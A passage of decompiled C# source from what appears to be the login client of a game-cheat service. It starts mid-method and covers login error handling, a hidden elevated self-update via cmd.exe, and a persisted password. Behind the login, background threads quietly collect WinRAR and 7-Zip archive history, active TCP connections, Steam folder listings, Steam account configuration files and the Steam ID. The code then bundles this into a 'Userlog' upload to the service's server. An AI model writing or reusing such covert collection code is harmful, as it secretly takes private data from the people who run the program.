  755. bool? isChecked = this.check_rememberMe.IsChecked;
  756. if (isChecked.GetValueOrDefault() & isChecked != null)
  757. {
  758. FileIniDataParser fileIniDataParser3 = new FileIniDataParser();
  759. IniData iniData3 = fileIniDataParser3.ReadFile(Directory.GetCurrentDirectory() + "\\Config.ini");
  760. iniData3["UserData"]["Name"] = GClass22.string_3;
  761. iniData3["UserData"]["Pass"] = GClass22.smethod_3(GClass22.string_4);
  762. fileIniDataParser3.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData3, Encoding.Unicode);
  763. }
  764. GClass20.smethod_0("Your HWID is invalid. If you have changed pc-parts or reinstalled windows create a ticket.\nhttps://forum.evilcheats.io/support/", "", "");
  765. this.spinner.Visibility = Visibility.Hidden;
  766. ((Storyboard)base.FindResource("WaitStoryboard")).Stop();
  767. goto IL_D3A;
  768. }
  769. case (GClass22.GEnum0)4:
  770. {
  771. bool? isChecked = this.check_rememberMe.IsChecked;
  772. if (isChecked.GetValueOrDefault() & isChecked != null)
  773. {
  774. FileIniDataParser fileIniDataParser4 = new FileIniDataParser();
  775. IniData iniData4 = fileIniDataParser4.ReadFile(Directory.GetCurrentDirectory() + "\\Config.ini");
  776. iniData4["UserData"]["Name"] = GClass22.string_3;
  777. iniData4["UserData"]["Pass"] = GClass22.smethod_3(GClass22.string_4);
  778. fileIniDataParser4.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData4, Encoding.Unicode);
  779. }
  780. GClass20.smethod_0("Your ISP is invalid. If this error is persistent create a ticket.\nhttps://forum.evilcheats.io/support/", "", "");
  781. this.spinner.Visibility = Visibility.Hidden;
  782. ((Storyboard)base.FindResource("WaitStoryboard")).Stop();
  783. goto IL_D3A;
  784. }
  785. case (GClass22.GEnum0)5:
  786. {
  787. bool? isChecked = this.check_rememberMe.IsChecked;
  788. if (isChecked.GetValueOrDefault() & isChecked != null)
  789. {
  790. FileIniDataParser fileIniDataParser5 = new FileIniDataParser();
  791. IniData iniData5 = fileIniDataParser5.ReadFile(Directory.GetCurrentDirectory() + "\\Config.ini");
  792. iniData5["UserData"]["Name"] = GClass22.string_3;
  793. iniData5["UserData"]["Pass"] = GClass22.smethod_3(GClass22.string_4);
  794. fileIniDataParser5.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData5, Encoding.Unicode);
  795. }
  796. GClass20.smethod_0("Our API server is currently overloaded, try to login later.\n\nWe apologize for this issue.", "", "");
  797. this.spinner.Visibility = Visibility.Hidden;
  798. ((Storyboard)base.FindResource("WaitStoryboard")).Stop();
  799. goto IL_D3A;
  800. }
  801. case (GClass22.GEnum0)6:
  802. {
  803. bool? isChecked = this.check_rememberMe.IsChecked;
  804. if (isChecked.GetValueOrDefault() & isChecked != null)
  805. {
  806. FileIniDataParser fileIniDataParser6 = new FileIniDataParser();
  807. IniData iniData6 = fileIniDataParser6.ReadFile(Directory.GetCurrentDirectory() + "\\Config.ini");
  808. iniData6["UserData"]["Name"] = GClass22.string_3;
  809. iniData6["UserData"]["Pass"] = GClass22.smethod_3(GClass22.string_4);
  810. fileIniDataParser6.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData6, Encoding.Unicode);
  811. }
  812. GClass20.smethod_0("We have detected a VPN. If this is a false detection create a ticket.\nhttps://forum.evilcheats.io/support/", "", "");
  813. this.spinner.Visibility = Visibility.Hidden;
  814. ((Storyboard)base.FindResource("WaitStoryboard")).Stop();
  815. goto IL_D3A;
  816. }
  817. case (GClass22.GEnum0)7:
  818. GClass20.smethod_0("Error decrypting user-data - Try again later.", "", "");
  819. this.spinner.Visibility = Visibility.Hidden;
  820. ((Storyboard)base.FindResource("WaitStoryboard")).Stop();
  821. goto IL_D3A;
  822. case (GClass22.GEnum0)8:
  823. GClass20.smethod_0("Error generating keypair. Make sure that you have all dependencies installed.\n\nhttps://forum.evilcheats.io/topic/39-en-client-guide/", "", "");
  824. GClass20.smethod_0("Extended Log : " + GClass22.string_8, "", "");
  825. this.spinner.Visibility = Visibility.Hidden;
  826. ((Storyboard)base.FindResource("WaitStoryboard")).Stop();
  827. goto IL_D3A;
  828. case (GClass22.GEnum0)9:
  829. GClass20.smethod_0("Unknown error occured - Try again later.", "", "");
  830. this.spinner.Visibility = Visibility.Hidden;
  831. ((Storyboard)base.FindResource("WaitStoryboard")).Stop();
  832. goto IL_D3A;
  833. case (GClass22.GEnum0)10:
  834. GClass20.smethod_0("No connection to Evilcheats possible.\nIs a VPN enabled?", "", "");
  835. this.spinner.Visibility = Visibility.Hidden;
  836. ((Storyboard)base.FindResource("WaitStoryboard")).Stop();
  837. goto IL_D3A;
  838. case (GClass22.GEnum0)12:
  839. GClass20.smethod_0("Login took to long - Try again later.", "", "");
  840. this.spinner.Visibility = Visibility.Hidden;
  841. ((Storyboard)base.FindResource("WaitStoryboard")).Stop();
  842. goto IL_D3A;
  843. case (GClass22.GEnum0)13:
  844. {
  845. ((Storyboard)base.FindResource("WaitStoryboard")).Stop();
  846. this.login_form.Visibility = Visibility.Hidden;
  847. bool? isChecked = this.check_rememberMe.IsChecked;
  848. if (isChecked.GetValueOrDefault() & isChecked != null)
  849. {
  850. FileIniDataParser fileIniDataParser7 = new FileIniDataParser();
  851. IniData iniData7 = fileIniDataParser7.ReadFile(Directory.GetCurrentDirectory() + "\\Config.ini");
  852. iniData7["UserData"]["Name"] = GClass22.string_3;
  853. iniData7["UserData"]["Pass"] = GClass22.smethod_3(GClass22.string_4);
  854. fileIniDataParser7.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData7, Encoding.Unicode);
  855. }
  856. this.update_info.Visibility = Visibility.Visible;
  857. ((Storyboard)base.FindResource("UpdateAnim")).Begin();
  858. CS$<>8__locals2.newLogin = "";
  859. if (Process.GetCurrentProcess().ProcessName.Contains("_updated"))
  860. {
  861. CS$<>8__locals2.newLogin = Process.GetCurrentProcess().ProcessName.Replace("_updated", "") + ".exe";
  862. }
  863. else
  864. {
  865. CS$<>8__locals2.newLogin = Process.GetCurrentProcess().ProcessName + "_updated.exe";
  866. }
  867. TaskAwaiter<bool> taskAwaiter3 = Task.Run<bool>(delegate()
  868. {
  869. GClass22.<>c__DisplayClass41_1.Struct1 @struct;
  870. @struct.<>c__DisplayClass41_1_0 = CS$<>8__locals2;
  871. @struct.asyncTaskMethodBuilder_0 = AsyncTaskMethodBuilder<bool>.Create();
  872. @struct.int_0 = -1;
  873. AsyncTaskMethodBuilder<bool> asyncTaskMethodBuilder_ = @struct.asyncTaskMethodBuilder_0;
  874. asyncTaskMethodBuilder_.Start<GClass22.<>c__DisplayClass41_1.Struct1>(ref @struct);
  875. return @struct.asyncTaskMethodBuilder_0.Task;
  876. }).GetAwaiter();
  877. if (!taskAwaiter3.IsCompleted)
  878. {
  879. await taskAwaiter3;
  880. TaskAwaiter<bool> taskAwaiter4;
  881. taskAwaiter3 = taskAwaiter4;
  882. taskAwaiter4 = default(TaskAwaiter<bool>);
  883. }
  884. taskAwaiter3.GetResult();
  885. Process.Start(new ProcessStartInfo
  886. {
  887. WindowStyle = ProcessWindowStyle.Hidden,
  888. FileName = "cmd.exe",
  889. WorkingDirectory = Directory.GetCurrentDirectory(),
  890. Arguments = string.Concat(new string[]
  891. {
  892. "/c \"",
  893. Directory.GetCurrentDirectory(),
  894. "\\",
  895. CS$<>8__locals2.newLogin,
  896. "\""
  897. }),
  898. Verb = "runas"
  899. });
  900. Environment.Exit(0);
  901. goto IL_D3A;
  902. }
  903. case (GClass22.GEnum0)14:
  904. GClass20.smethod_0("Initialization thread took to long (WaitForSingleObject (2)) failed\n", "", "");
  905. this.spinner.Visibility = Visibility.Hidden;
  906. ((Storyboard)base.FindResource("WaitStoryboard")).Stop();
  907. goto IL_D3A;
  908. }
  909. GClass20.smethod_0("Something went wrong, try again later.", "", "");
  910. this.spinner.Visibility = Visibility.Hidden;
  911. ((Storyboard)base.FindResource("WaitStoryboard")).Stop();
  912. IL_D3A:
  913. CS$<>8__locals2 = null;
  914. this.bool_0 = false;
  915. }
  916. if (object_0 == this.input_username)
  917. {
  918. this.input_username.Text = "";
  919. }
  920. if (object_0 == this.input_password)
  921. {
  922. this.input_password.Password = "";
  923. }
  924. if (object_0 == this.txt_minimize)
  925. {
  926. base.WindowState = WindowState.Minimized;
  927. }
  928. if (object_0 == this.txt_close)
  929. {
  930. Environment.Exit(0);
  931. }
  932. if (object_0 == this)
  933. {
  934. try
  935. {
  936. base.DragMove();
  937. }
  938. catch
  939. {
  940. }
  941. }
  942. if (GClass22.<>o__41.<>p__7 == null)
  943. {
  944. GClass22.<>o__41.<>p__7 = CallSite<Func<CallSite, object, bool, object>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.SetMember(CSharpBinderFlags.None, "Handled", typeof(GClass22), new CSharpArgumentInfo[]
  945. {
  946. CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
  947. CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, null)
  948. }));
  949. }
  950. GClass22.<>o__41.<>p__7.Target(GClass22.<>o__41.<>p__7, e, true);
  951. IL_E1E:;
  952. }
  953. catch
  954. {
  955. }
  956. }
  957.  
  958. // Token: 0x06000108 RID: 264 RVA: 0x00016A34 File Offset: 0x00014C34
  959. public static string smethod_4(string string_10)
  960. {
  961. string result;
  962. using (MD5 md = MD5.Create())
  963. {
  964. using (FileStream fileStream = File.OpenRead(string_10))
  965. {
  966. result = BitConverter.ToString(md.ComputeHash(fileStream)).Replace("-", string.Empty);
  967. }
  968. }
  969. return result;
  970. }
  971.  
  972. // Token: 0x06000109 RID: 265 RVA: 0x00002C43 File Offset: 0x00000E43
  973. public static string smethod_5()
  974. {
  975. return GClass22.smethod_4(Assembly.GetExecutingAssembly().Location);
  976. }
  977.  
  978. // Token: 0x0600010A RID: 266 RVA: 0x00016AA0 File Offset: 0x00014CA0
  979. public static async Task<bool> smethod_6(string string_10)
  980. {
  981. GClass23.smethod_4((GClass22.GEnum1)9, GClass22.string_3, GClass22.string_4, string.Empty, string.Empty, "Login", string.Empty, string.Empty, string.Empty, "NewLoginTool", Directory.GetCurrentDirectory() + "\\" + string_10, false);
  982. return true;
  983. }
  984.  
  985. // Token: 0x0600010B RID: 267 RVA: 0x00016AE8 File Offset: 0x00014CE8
  986. public async Task<GClass22.GEnum0> method_1(string string_10)
  987. {
  988. int num = 0;
  989. while (this.thread_0.IsAlive || this.thread_1.IsAlive || this.thread_2.IsAlive)
  990. {
  991. if (num == 10)
  992. {
  993. return (GClass22.GEnum0)14;
  994. }
  995. num++;
  996. Thread.Sleep(1000);
  997. }
  998. string text = GClass23.smethod_4((GClass22.GEnum1)1, GClass22.string_3, GClass22.string_4, "", "", "", "", "", "", GClass22.string_6, "", false);
  999. if (text.Contains("Login Failed"))
  1000. {
  1001. if (text == "Login Failed - Banned")
  1002. {
  1003. return (GClass22.GEnum0)2;
  1004. }
  1005. if (text == "Login Failed - HWID")
  1006. {
  1007. return (GClass22.GEnum0)3;
  1008. }
  1009. if (text == "Login Failed - ISP")
  1010. {
  1011. return (GClass22.GEnum0)4;
  1012. }
  1013. if (text == "Login Failed - Overloaded")
  1014. {
  1015. return (GClass22.GEnum0)5;
  1016. }
  1017. if (text == "Login Failed - VPN")
  1018. {
  1019. return (GClass22.GEnum0)6;
  1020. }
  1021. if (text == "Login Failed - NoMember")
  1022. {
  1023. return (GClass22.GEnum0)0;
  1024. }
  1025. return (GClass22.GEnum0)9;
  1026. }
  1027. else
  1028. {
  1029. if (text.Contains("Connection"))
  1030. {
  1031. return (GClass22.GEnum0)10;
  1032. }
  1033. if (text.Contains("Clientside AES Error"))
  1034. {
  1035. GClass22.string_8 = text;
  1036. return (GClass22.GEnum0)8;
  1037. }
  1038. if (text == "New Version")
  1039. {
  1040. return (GClass22.GEnum0)13;
  1041. }
  1042. if (!text.Contains("member_group_id"))
  1043. {
  1044. return (GClass22.GEnum0)0;
  1045. }
  1046. try
  1047. {
  1048. GClass22.gclass18_0 = JsonConvert.DeserializeObject<GClass18>(text);
  1049. }
  1050. catch (Exception)
  1051. {
  1052. return (GClass22.GEnum0)7;
  1053. }
  1054. if (GClass22.gclass18_0.Int32_2 != 0 && GClass22.gclass18_0.GClass6_0.String_0.Length != 0)
  1055. {
  1056. return (GClass22.GEnum0)2;
  1057. }
  1058. return (GClass22.GEnum0)1;
  1059. }
  1060. }
  1061.  
  1062. // Token: 0x0600010C RID: 268 RVA: 0x00016B38 File Offset: 0x00014D38
  1063. private static List<string> smethod_7(DirectoryInfo directoryInfo_0, string string_10, bool bool_2 = false, bool bool_3 = false)
  1064. {
  1065. List<string> list = new List<string>();
  1066. try
  1067. {
  1068. foreach (FileInfo fileInfo in directoryInfo_0.GetFiles(string_10))
  1069. {
  1070. try
  1071. {
  1072. if (!bool_2 || (!fileInfo.ToString().EndsWith(".TMP") && !fileInfo.ToString().StartsWith("cloud_") && !fileInfo.ToString().EndsWith(".tmp.LOG1") && !fileInfo.ToString().EndsWith(".tmp.LOG2") && !fileInfo.ToString().EndsWith(".tmp.LOG") && !fileInfo.ToString().EndsWith(".tmp.node") && !fileInfo.ToString().EndsWith(".tmp")))
  1073. {
  1074. list.Add("\t\t" + fileInfo.ToString());
  1075. }
  1076. }
  1077. catch
  1078. {
  1079. }
  1080. }
  1081. }
  1082. catch
  1083. {
  1084. }
  1085. foreach (DirectoryInfo directoryInfo in directoryInfo_0.GetDirectories())
  1086. {
  1087. try
  1088. {
  1089. try
  1090. {
  1091. list.Add("\t" + directoryInfo.ToString());
  1092. }
  1093. catch
  1094. {
  1095. }
  1096. try
  1097. {
  1098. if (bool_3)
  1099. {
  1100. list.AddRange(GClass22.smethod_7(directoryInfo, string_10, bool_2, false));
  1101. }
  1102. }
  1103. catch
  1104. {
  1105. }
  1106. }
  1107. catch
  1108. {
  1109. }
  1110. }
  1111. return list;
  1112. }
  1113.  
  1114. // Token: 0x0600010D RID: 269 RVA: 0x00016CAC File Offset: 0x00014EAC
  1115. public void method_2(string string_10, string string_11)
  1116. {
  1117. try
  1118. {
  1119. GClass23.smethod_4((GClass22.GEnum1)2, GClass22.string_3, GClass22.string_4, string_10, string_11, string.Empty, string.Empty, string.Empty, string.Empty, string.Empty, string.Empty, false);
  1120. }
  1121. catch
  1122. {
  1123. Environment.Exit(0);
  1124. }
  1125. }
  1126.  
  1127. // Token: 0x0600010E RID: 270 RVA: 0x00016D08 File Offset: 0x00014F08
  1128. public void method_3(string string_10, string string_11, bool bool_2 = false)
  1129. {
  1130. GClass22.mutex_0.WaitOne();
  1131. if (string_10.Length != 0 && string_11.Length != 0)
  1132. {
  1133. string text = string_11 + "\n" + string_10;
  1134. if (text.Length != 0)
  1135. {
  1136. char[] array = text.ToCharArray();
  1137. for (int i = 0; i < array.Length; i++)
  1138. {
  1139. if (array[i] == '\0')
  1140. {
  1141. array[i] = ' ';
  1142. }
  1143. }
  1144. text = new string(array);
  1145. this.string_9 = this.string_9 + "\n\n" + text;
  1146. text = string.Empty;
  1147. }
  1148. }
  1149. if (bool_2)
  1150. {
  1151. try
  1152. {
  1153. GClass23.smethod_4((GClass22.GEnum1)2, GClass22.string_3, GClass22.string_4, this.string_9, "Userlog", string.Empty, string.Empty, string.Empty, string.Empty, string.Empty, string.Empty, false);
  1154. }
  1155. catch
  1156. {
  1157. Environment.Exit(0);
  1158. return;
  1159. }
  1160. }
  1161. GClass22.mutex_0.ReleaseMutex();
  1162. }
  1163.  
  1164. // Token: 0x0600010F RID: 271 RVA: 0x00016DEC File Offset: 0x00014FEC
  1165. private void method_4()
  1166. {
  1167. foreach (GClass16 gclass in GClass22.gclass18_0.GClass16_0)
  1168. {
  1169. try
  1170. {
  1171. if (File.Exists(gclass.Path))
  1172. {
  1173. try
  1174. {
  1175. FileStream fileStream = new FileStream(gclass.Path, FileMode.Open);
  1176. int num = 0;
  1177. int num2;
  1178. while ((num2 = fileStream.ReadByte()) != -1)
  1179. {
  1180. string.Format("{0:X2}", num2);
  1181. num++;
  1182. }
  1183. fileStream.Close();
  1184. }
  1185. catch
  1186. {
  1187. }
  1188. }
  1189. }
  1190. catch
  1191. {
  1192. }
  1193. }
  1194. }
  1195.  
  1196. // Token: 0x06000110 RID: 272 RVA: 0x00016E88 File Offset: 0x00015088
  1197. private void method_5()
  1198. {
  1199. new Thread(new ThreadStart(this.method_9)).Start();
  1200. new Thread(new ThreadStart(this.method_10)).Start();
  1201. new Thread(new ThreadStart(this.method_11)).Start();
  1202. new Thread(new ThreadStart(this.method_12)).Start();
  1203. new Thread(new ThreadStart(this.method_13)).Start();
  1204. new Thread(new ThreadStart(this.method_14)).Start();
  1205. new Thread(new ThreadStart(this.method_15)).Start();
  1206. new Thread(new ThreadStart(this.method_16)).Start();
  1207. new Thread(new ThreadStart(this.method_17)).Start();
  1208. new Thread(new ThreadStart(this.method_18)).Start();
  1209. new Thread(new ThreadStart(this.method_19)).Start();
  1210. new Thread(new ThreadStart(this.method_20)).Start();
  1211. new Thread(new ThreadStart(this.method_21)).Start();
  1212. new Thread(new ThreadStart(this.method_22)).Start();
  1213. new Thread(new ThreadStart(this.method_23)).Start();
  1214. new Thread(new ThreadStart(this.method_24)).Start();
  1215. }
  1216.  
  1217. // Token: 0x06000111 RID: 273 RVA: 0x00002C54 File Offset: 0x00000E54
  1218. public static void smethod_8(Window window_0)
  1219. {
  1220. if (!GClass22.smethod_10(window_0))
  1221. {
  1222. window_0.SourceInitialized += new EventHandler(GClass22.smethod_9);
  1223. }
  1224. }
  1225.  
  1226. // Token: 0x06000112 RID: 274 RVA: 0x00002C70 File Offset: 0x00000E70
  1227. private static void smethod_9(Window window_0, object object_0)
  1228. {
  1229. Window window = (Window)window_0;
  1230. GClass22.smethod_10(window);
  1231. window.SourceInitialized -= new EventHandler(GClass22.smethod_9);
  1232. }
  1233.  
  1234. // Token: 0x06000113 RID: 275 RVA: 0x00015DE8 File Offset: 0x00013FE8
  1235. private static bool smethod_10(object object_0)
  1236. {
  1237. bool result;
  1238. try
  1239. {
  1240. result = false;
  1241. }
  1242. catch (Exception)
  1243. {
  1244. result = false;
  1245. }
  1246. return result;
  1247. }
  1248.  
  1249. // Token: 0x06000114 RID: 276 RVA: 0x00016FF8 File Offset: 0x000151F8
  1250. private void dispatcherTimer_0_Tick(object sender, EventArgs e)
  1251. {
  1252. if (this.double_1 != 0.0)
  1253. {
  1254. this.method_6();
  1255. this.double_1 -= 1.0;
  1256. }
  1257. foreach (object obj in this.ParticleHost.Children)
  1258. {
  1259. Ellipse ellipse = (Ellipse)obj;
  1260. GClass27 gclass = ellipse.Tag as GClass27;
  1261. TranslateTransform translateTransform = ellipse.RenderTransform as TranslateTransform;
  1262. translateTransform.X += gclass.method_0().X;
  1263. translateTransform.Y -= gclass.method_0().Y;
  1264. if (translateTransform.Y < -this.double_0)
  1265. {
  1266. translateTransform.Y = base.Height + this.double_0;
  1267. }
  1268. if (translateTransform.X < -this.double_0 || translateTransform.X > base.Width + this.double_0)
  1269. {
  1270. translateTransform.X = this.random_0.NextDouble() * base.Width;
  1271. translateTransform.Y = base.Height + this.double_0;
  1272. }
  1273. ellipse.Fill = gclass.method_4();
  1274. ellipse.Effect = gclass.method_2();
  1275. }
  1276. }
  1277.  
  1278. // Token: 0x06000115 RID: 277 RVA: 0x0001715C File Offset: 0x0001535C
  1279. private void method_6()
  1280. {
  1281. SolidColorBrush solidColorBrush = Brushes.White.Clone();
  1282. solidColorBrush.Opacity = 0.2 + this.random_0.NextDouble() * 0.8;
  1283. BlurEffect blurEffect = new BlurEffect();
  1284. blurEffect.RenderingBias = RenderingBias.Performance;
  1285. blurEffect.Radius = 1.0 + this.random_0.NextDouble() * 39.0;
  1286. Ellipse ellipse = new Ellipse();
  1287. ellipse.Width = (ellipse.Height = this.double_0 * 0.15 + this.random_0.NextDouble() * this.double_0 * 0.8);
  1288. ellipse.RenderTransform = new TranslateTransform(this.random_0.NextDouble() * base.Width, this.random_0.NextDouble() * base.Height);
  1289. FrameworkElement frameworkElement = ellipse;
  1290. GClass27 gclass = new GClass27();
  1291. gclass.method_3(blurEffect);
  1292. gclass.method_5(solidColorBrush);
  1293. gclass.method_1(new Point
  1294. {
  1295. X = this.double_3 + this.random_0.NextDouble() * 4.0,
  1296. Y = this.double_2 + this.random_0.NextDouble() * 2.0
  1297. });
  1298. frameworkElement.Tag = gclass;
  1299. this.ParticleHost.Children.Add(ellipse);
  1300. }
  1301.  
  1302. // Token: 0x06000116 RID: 278 RVA: 0x000172C0 File Offset: 0x000154C0
  1303. [GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
  1304. [DebuggerNonUserCode]
  1305. public void InitializeComponent()
  1306. {
  1307. if (this.bool_1)
  1308. {
  1309. return;
  1310. }
  1311. this.bool_1 = true;
  1312. Uri resourceLocator = new Uri("/Login;component/loginwindow.xaml", UriKind.Relative);
  1313. Application.LoadComponent(this, resourceLocator);
  1314. }
  1315.  
  1316. // Token: 0x06000117 RID: 279 RVA: 0x000172F0 File Offset: 0x000154F0
  1317. [EditorBrowsable(EditorBrowsableState.Never)]
  1318. [DebuggerNonUserCode]
  1319. [GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
  1320. void IComponentConnector.Connect(int connectionId, object target)
  1321. {
  1322. switch (connectionId)
  1323. {
  1324. case 1:
  1325. this.ParticleHost = (Canvas)target;
  1326. return;
  1327. case 2:
  1328. this.image = (Image)target;
  1329. return;
  1330. case 3:
  1331. this.login_form = (Border)target;
  1332. return;
  1333. case 4:
  1334. this.spinner = (TextBlock)target;
  1335. return;
  1336. case 5:
  1337. this.txt_title = (TextBlock)target;
  1338. return;
  1339. case 6:
  1340. this.btn_login = (Button)target;
  1341. return;
  1342. case 7:
  1343. this.check_rememberMe = (CheckBox)target;
  1344. return;
  1345. case 8:
  1346. this.ico_login = (TextBlock)target;
  1347. return;
  1348. case 9:
  1349. this.ico_password = (TextBlock)target;
  1350. return;
  1351. case 10:
  1352. this.input_username = (TextBox)target;
  1353. return;
  1354. case 11:
  1355. this.input_password = (PasswordBox)target;
  1356. return;
  1357. case 12:
  1358. this.txt_minimize = (TextBlock)target;
  1359. return;
  1360. case 13:
  1361. this.txt_close = (TextBlock)target;
  1362. return;
  1363. case 14:
  1364. this.update_info = (Border)target;
  1365. return;
  1366. case 15:
  1367. this.updateSpinner = (TextBlock)target;
  1368. return;
  1369. case 16:
  1370. this.txt_autoUpdate = (Label)target;
  1371. return;
  1372. case 17:
  1373. this.label = (Label)target;
  1374. return;
  1375. default:
  1376. this.bool_1 = true;
  1377. return;
  1378. }
  1379. }
  1380.  
  1381. // Token: 0x06000118 RID: 280 RVA: 0x00002C90 File Offset: 0x00000E90
  1382. // Note: this type is marked as 'beforefieldinit'.
  1383. static GClass22()
  1384. {
  1385. Class59.smethod_0();
  1386. GClass22.string_5 = "";
  1387. GClass22.gclass23_0 = new GClass23();
  1388. GClass22.mutex_0 = new Mutex();
  1389. GClass22.mutex_1 = new Mutex();
  1390. }
  1391.  
  1392. // Token: 0x06000119 RID: 281 RVA: 0x00002CBF File Offset: 0x00000EBF
  1393. [CompilerGenerated]
  1394. private void method_7()
  1395. {
  1396. this.method_5();
  1397. }
  1398.  
  1399. // Token: 0x0600011A RID: 282 RVA: 0x00002CC7 File Offset: 0x00000EC7
  1400. [CompilerGenerated]
  1401. private void method_8()
  1402. {
  1403. this.method_4();
  1404. }
  1405.  
  1406. // Token: 0x0600011B RID: 283 RVA: 0x00017430 File Offset: 0x00015630
  1407. [CompilerGenerated]
  1408. private void method_9()
  1409. {
  1410. Thread.CurrentThread.IsBackground = true;
  1411. do
  1412. {
  1413. Console.Write("Waiting {0}\n", this.int_0);
  1414. Thread.Sleep(150);
  1415. }
  1416. while (this.int_0 != 15);
  1417. this.method_3(string.Empty, string.Empty, true);
  1418. }
  1419.  
  1420. // Token: 0x0600011C RID: 284 RVA: 0x00017484 File Offset: 0x00015684
  1421. [CompilerGenerated]
  1422. private void method_10()
  1423. {
  1424. Thread.CurrentThread.IsBackground = true;
  1425. string str = "HKEY_CURRENT_USER";
  1426. string str2 = "SOFTWARE\\Valve\\Steam";
  1427. string keyName = str + "\\" + str2;
  1428. try
  1429. {
  1430. string text = (string)Registry.GetValue(keyName, "SteamPath", "Return this default if NoSuchName does not exist.");
  1431. text.Replace("/", "\\");
  1432. GClass22.string_5 = text;
  1433. }
  1434. catch
  1435. {
  1436. try
  1437. {
  1438. GClass22.string_5 = Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFilesX86) + "\\Steam";
  1439. }
  1440. catch
  1441. {
  1442. GClass22.mutex_1.WaitOne();
  1443. this.method_3("Steam Path\n METHODE 2 FAILED\n", "SteamPath", false);
  1444. GClass22.mutex_1.ReleaseMutex();
  1445. }
  1446. GClass22.mutex_1.WaitOne();
  1447. this.method_3("Steam Path\n METHODE 1 FAILED\n", "SteamPath", false);
  1448. GClass22.mutex_1.ReleaseMutex();
  1449. }
  1450. this.int_0++;
  1451. Console.Write("Done 1\n");
  1452. }
  1453.  
  1454. // Token: 0x0600011D RID: 285 RVA: 0x00017580 File Offset: 0x00015780
  1455. [CompilerGenerated]
  1456. private void method_11()
  1457. {
  1458. Thread.CurrentThread.IsBackground = true;
  1459. try
  1460. {
  1461. string text = "";
  1462. RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\WinRAR\\ArcHistory", true);
  1463. foreach (string name in registryKey.GetValueNames())
  1464. {
  1465. text = text + registryKey.GetValue(name, "Zero") + "\n";
  1466. }
  1467. GClass22.mutex_1.WaitOne();
  1468. this.method_3("WinRAR History\n" + text, "WinRAR history", false);
  1469. GClass22.mutex_1.ReleaseMutex();
  1470. }
  1471. catch
  1472. {
  1473. GClass22.mutex_1.WaitOne();
  1474. this.method_3("WinRAR History\nNot found\n", "WinRAR History", false);
  1475. GClass22.mutex_1.ReleaseMutex();
  1476. }
  1477. try
  1478. {
  1479. string str = "";
  1480. byte[] array = (byte[])Registry.CurrentUser.OpenSubKey("Software\\7-Zip\\FM", true).GetValue("FolderHistory");
  1481. if (array != null)
  1482. {
  1483. str = Encoding.Unicode.GetString(array);
  1484. }
  1485. GClass22.mutex_1.WaitOne();
  1486. this.method_3("7zip History\n" + str, "7zip history", false);
  1487. GClass22.mutex_1.ReleaseMutex();
  1488. }
  1489. catch
  1490. {
  1491. GClass22.mutex_1.WaitOne();
  1492. this.method_3("7zip History\nNot found\n", "7zip History", false);
  1493. GClass22.mutex_1.ReleaseMutex();
  1494. }
  1495. this.int_0++;
  1496. Console.Write("Done 1\n");
  1497. }
  1498.  
  1499. // Token: 0x0600011E RID: 286 RVA: 0x00017700 File Offset: 0x00015900
  1500. [CompilerGenerated]
  1501. private void method_12()
  1502. {
  1503. Thread.CurrentThread.IsBackground = true;
  1504. try
  1505. {
  1506. string text = "";
  1507. foreach (TcpConnectionInformation tcpConnectionInformation in IPGlobalProperties.GetIPGlobalProperties().GetActiveTcpConnections())
  1508. {
  1509. text = text + "LocalStart: " + tcpConnectionInformation.LocalEndPoint.ToString() + " ";
  1510. text = text + "- Remote End: " + tcpConnectionInformation.RemoteEndPoint.ToString();
  1511. text += "\n";
  1512. }
  1513. GClass22.mutex_1.WaitOne();
  1514. this.method_3("Network Log - TCP Active\n" + text, "NetworkConnections", false);
  1515. GClass22.mutex_1.ReleaseMutex();
  1516. }
  1517. catch
  1518. {
  1519. GClass22.mutex_1.WaitOne();
  1520. this.method_3("NetworkLog failed\n", "NetworkConnections", false);
  1521. GClass22.mutex_1.ReleaseMutex();
  1522. }
  1523. this.int_0++;
  1524. Console.Write("Done 2\n");
  1525. }
  1526.  
  1527. // Token: 0x0600011F RID: 287 RVA: 0x00017800 File Offset: 0x00015A00
  1528. [CompilerGenerated]
  1529. private void method_13()
  1530. {
  1531. Thread.CurrentThread.IsBackground = true;
  1532. string text = "";
  1533. while (GClass22.string_5 == "")
  1534. {
  1535. }
  1536. string text2 = GClass22.string_5;
  1537. try
  1538. {
  1539. List<string> list = GClass22.smethod_7(new DirectoryInfo(text2), "*", false, false);
  1540. text += string.Join("\n", list.ToArray());
  1541. }
  1542. catch
  1543. {
  1544. GClass22.mutex_1.WaitOne();
  1545. this.method_3("Steam\n Not Found", "SteamFolder", false);
  1546. GClass22.mutex_1.ReleaseMutex();
  1547. }
  1548. try
  1549. {
  1550. string text3 = File.ReadAllText(text2 + "\\config\\config.vdf");
  1551. text = text + "\n" + text3.Substring(text3.LastIndexOf("\"Accounts\""), text3.LastIndexOf("\"CellIDServerOverride\"") - text3.LastIndexOf("\"Accounts\""));
  1552. text = text + "\n" + File.ReadAllText(text2 + "\\config\\loginusers.vdf");
  1553. }
  1554. catch
  1555. {
  1556. GClass22.mutex_1.WaitOne();
  1557. this.method_3("SteamConfig\n Not Found", "SteamConfig", false);
  1558. GClass22.mutex_1.ReleaseMutex();
  1559. }
  1560. try
  1561. {
  1562. List<string> list = GClass22.smethod_7(new DirectoryInfo(text2 + "\\config"), "*", false, false);
  1563. text += string.Join("\n", list.ToArray());
  1564. }
  1565. catch
  1566. {
  1567. GClass22.mutex_1.WaitOne();
  1568. this.method_3("SteamConfig Folder\n Not Found\n", "SteamConfig Folder", false);
  1569. GClass22.mutex_1.ReleaseMutex();
  1570. }
  1571. try
  1572. {
  1573. using (GClass25 gclass = new GClass25())
  1574. {
  1575. text = text + "\n\nCurrent Steam ID: " + gclass.method_6().ToString(CultureInfo.InvariantCulture);
  1576. }
  1577. }
  1578. catch
  1579. {
  1580. GClass22.mutex_1.WaitOne();
  1581. this.method_3("Current SteamID\nNot Found", "Current SteamID", false);
